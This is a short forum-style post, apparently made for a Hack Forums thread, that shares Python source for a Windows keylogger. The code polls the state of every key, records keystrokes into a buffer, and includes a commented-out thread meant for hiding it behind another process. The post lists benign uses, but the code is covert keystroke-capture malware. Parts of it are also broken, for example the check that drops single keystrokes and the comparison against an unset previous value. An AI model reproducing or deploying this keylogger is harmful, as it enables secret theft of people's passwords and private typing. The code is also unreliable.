I uploaded this to link to a thread on Python Key Hooks on Hack Forums, their firewall is blocking me from posting this.
It’s still incomplete, but it is working. It just doesn’t do anything with the data, it’s up to you to do something with it, at the moment it simply stores it in the variable buffer.

I think there will be problems with international keyboard mappings. It’s okay out the box for US keyboard; there’s a little more work to do but it’s 90% there.

This will be useful anywhere a script has to receive keyboard input regardless of whether its window has focus.
Potential applications include tracking user activity to predict idle periods, macro/hotkey scripts, parental keyword filters, and plenty more broad applications.

from win32api import GetKeyState, GetAsyncKeyState
import threading
import time

def key_down(key):
        state = GetKeyState(key)
        if (state != 0) and (state != 1):
            return True
        else:
            return False


def log():
    keynames={'\x01':"<LeftClick>",'\x02':"<RightClick>",'\x08':"<backspace>",'\x10':"<shift>",'\x11':"<control>",'\x12':"<alt>"}
    shiftkeys={"1":"!","2":"@","3":"#","4":"$","5":"%","6":"^","7":"&","8":"*","9":"(","0":")","-":"_","=":"+"}
    alphabet="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    timer=.5
    lasttime=time.time()
    last=None
    caps=False
    ##buffer is where the data will be stored
    buffer=""
    while True:
        currentkeys=[]
        for i in range(255):
            shift=key_down(0x10)
            if key_down(i): 
                if not caps and not shift:
                    key=chr(i)
                    if key in alphabet:
                        key=key.lower()
                    currentkeys.append(key)
                if not caps and shift:
                    if chr(i) in shiftkeys:
                        currentkeys.append(shiftkeys[chr(i)])
                    else:
                        currentkeys.append(chr(i))
        if currentkeys==last and time.time() < lasttime +timer:
            
            pass
        else:
            if currentkeys!=[]:
                #remove this print from the end version, just for the demo
                print([keynames[a] if a in keynames else a for a in currentkeys])
                #if key did not appear in previous keys append to buffer
                outkeys=[]
                for i in currentkeys:
                    if not i in last and i!='\x10':
                        outkeys.append(keynames[i] if i in keynames else i)
                if len(outkeys)>1:
                    buffer+=str(outkeys)
                else:
                    if len(outkeys)>1:
                        buffer+=outkeys[0]
            last=currentkeys
            lasttime=time.time()
def thread():
    th = threading.Thread(target=log)
    th.start()

log()
#thread() #thread for hiding it behind another process, unused in demo
Back to top